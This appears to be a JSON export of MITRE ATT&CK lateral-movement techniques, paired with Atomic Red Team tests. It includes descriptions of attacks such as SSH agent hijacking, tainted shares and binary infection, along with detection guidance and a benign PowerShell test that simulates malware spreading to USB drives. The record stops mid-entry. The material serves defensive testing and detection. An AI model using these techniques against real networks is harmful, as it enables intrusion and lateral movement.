- "data": {
- "T1021.005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
- "type": "attack-pattern",
- "created": "2020-02-11T18:28:44.950Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.005",
- "url": "https://attack.mitre.org/techniques/T1021/005"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "source_name": "The Remote Framebuffer Protocol",
- "url": "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2",
- "description": "T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021."
- },
- {
- "source_name": "MacOS VNC software for Remote Desktop",
- "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
- "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021."
- },
- {
- "source_name": "VNC Authentication",
- "url": "https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication",
- "description": "Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021."
- },
- {
- "source_name": "Hijacking VNC",
- "url": "https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc",
- "description": "Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021."
- },
- {
- "source_name": "macOS root VNC login without authentication",
- "url": "https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication",
- "description": "Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021."
- },
- {
- "source_name": "VNC Vulnerabilities",
- "url": "https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/",
- "description": "Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021."
- },
- {
- "source_name": "Offensive Security VNC Authentication Check",
- "url": "https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/",
- "description": "Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021."
- },
- {
- "source_name": "Attacking VNC Servers PentestLab",
- "url": "https://pentestlab.blog/2012/10/30/attacking-vnc-servers/",
- "description": "Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021."
- },
- {
- "source_name": "Havana authentication bug",
- "url": "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html",
- "description": "Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021."
- },
- {
- "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
- "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
- "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021."
- },
- {
- "source_name": "Gnome Remote Desktop grd-settings",
- "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207",
- "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021."
- },
- {
- "source_name": "Gnome Remote Desktop gschema",
- "url": "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in",
- "description": "Pascal Nowack. (n.d.). Retrieved September 21, 2021."
- }
- ],
- "modified": "2021-10-07T22:14:25.528Z",
- "name": "VNC",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (\u201cremote framebuffer\u201d) protocol to enable users to remotely control another computer\u2019s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of VNC may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'
can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_system_requirements": [
- "VNC server installed and listening for connections."
- ]
- },
- "atomic_tests": []
- },
- "T1080": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "SaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Michal Dida, ESET",
- "David Routin"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:01.759Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1080",
- "url": "https://attack.mitre.org/techniques/T1080"
- },
- {
- "external_id": "CAPEC-562",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/562.html"
- },
- {
- "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html",
- "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
- "source_name": "Retwin Directory Share Pivot"
- }
- ],
- "modified": "2021-10-17T14:12:33.188Z",
- "name": "Taint Shared Content",
- "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification",
- "Network Share: Network Share Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Access to shared folders and content with write permissions"
- ]
- },
- "atomic_tests": []
- },
- "T1527": {
- "technique": {
- "x_mitre_platforms": [
- "SaaS",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot",
- "Mark Wee",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
- "Shailesh Tiwary (Indian Army)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
- "type": "attack-pattern",
- "created": "2019-08-30T12:55:58.607Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1527",
- "external_id": "T1527",
- "source_name": "mitre-attack"
- },
- {
- "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
- "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
- "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"
- },
- {
- "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
- "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen",
- "source_name": "okta"
- },
- {
- "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
- "source_name": "Microsoft Identity Platform Access 2019"
- },
- {
- "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
- "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/",
- "source_name": "Staaldraad Phishing with OAuth 2017"
- }
- ],
- "modified": "2021-09-20T16:50:41.832Z",
- "name": "Application Access Token",
- "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Multi-Factor Authentication",
- "Logon Credentials"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1021.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
- "type": "attack-pattern",
- "created": "2020-02-11T18:27:15.774Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.004",
- "url": "https://attack.mitre.org/techniques/T1021/004"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
- "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
- "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021."
- }
- ],
- "modified": "2021-10-15T14:15:06.853Z",
- "name": "SSH",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems log show --predicate 'process = \"sshd\"'
can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'
can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log
or /var/log/secure
depending on the distro you are using.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Logon Session: Logon Session Creation",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- "An SSH server is configured and running."
- ]
- },
- "atomic_tests": []
- },
- "T1017": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:27.755Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1017",
- "external_id": "T1017"
- },
- {
- "external_id": "CAPEC-187",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/187.html"
- }
- ],
- "modified": "2020-03-23T15:40:50.965Z",
- "name": "Application Deployment Software",
- "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Access to application deployment software (EPO, HPCA, Altiris, etc.)"
- ]
- },
- "atomic_tests": []
- },
- "T1091": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:08.977Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1091",
- "external_id": "T1091"
- }
- ],
- "modified": "2021-07-20T02:18:04.581Z",
- "name": "Replication Through Removable Media",
- "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Drive: Drive Creation",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
- ],
- "identifier": "T1091"
- },
- "atomic_tests": [
- {
- "name": "USB Malware Spread Simulation",
- "auto_generated_guid": "d44b7297-622c-4be8-ad88-ec40d7563c75",
- "description": "Simulates an adversary copying malware to all connected removable drives. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "command": "$RemovableDrives=@()\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nwrite-host \"Removable Drive Found:\" $Drive\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \"file\" -Force -Value \"T1091 Test 1 has created this file to simulate malware spread to removable drives.\"\n}\n",
- "cleanup_command": "$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nRemove-Item -Path $Drive\\T1091Test1.txt -Force -ErrorAction Ignore\n}\n"
- }
- }
- ]
- },
- "T1563.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
- "type": "attack-pattern",
- "created": "2020-02-25T18:34:38.290Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1563.001",
- "url": "https://attack.mitre.org/techniques/T1563/001"
- },
- {
- "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
- "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
- "source_name": "Slideshare Abusing SSH"
- },
- {
- "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
- "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
- "source_name": "SSHjack Blackhat"
- },
- {
- "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
- "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
- "source_name": "Clockwork SSH Agent Hijacking"
- },
- {
- "source_name": "Breach Post-mortem SSH Hijack",
- "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
- "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."
- }
- ],
- "modified": "2020-03-23T23:11:24.682Z",
- "name": "SSH Hijacking",
- "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Command: Command Execution",
- "Network Traffic: Network Traffic Flow",
- "Process: Process Creation",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "x_mitre_system_requirements": [
- "SSH service enabled, trust relationships configured, established connections"
- ]
- },
- "atomic_tests": []
- },
- "T1021.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
- "type": "attack-pattern",
- "created": "2020-02-11T18:25:28.212Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1021.002",
- "url": "https://attack.mitre.org/techniques/T1021/002"
- },
- {
- "external_id": "CAPEC-561",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/561.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
- "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
- "source_name": "Wikipedia Server Message Block"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
- "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
- "source_name": "TechNet RPC"
- },
- {
- "url": "http://support.microsoft.com/kb/314984",
- "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
- "source_name": "Microsoft Admin Shares"
- },
- {
- "source_name": "Lateral Movement Payne",
- "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
- "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
- },
- {
- "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
- "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
- "source_name": "Windows Event Forwarding Payne"
- },
- {
- "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
- "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
- "source_name": "Medium Detecting WMI Persistence"
- }
- ],
- "modified": "2020-03-23T21:16:02.812Z",
- "name": "Remote Services: SMB/Windows Admin Shares",
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Network Traffic: Network Traffic Flow",
- "Network Share: Network Share Access",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account."
- ],
- "identifier": "T1021.002"
- },
- "atomic_tests": [
- {
- "name": "Map admin share",
- "auto_generated_guid": "3386975b-367a-4fbb-9d77-4dcf3639ffd3",
- "description": "Connecting To Remote Shares\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "user_name": {
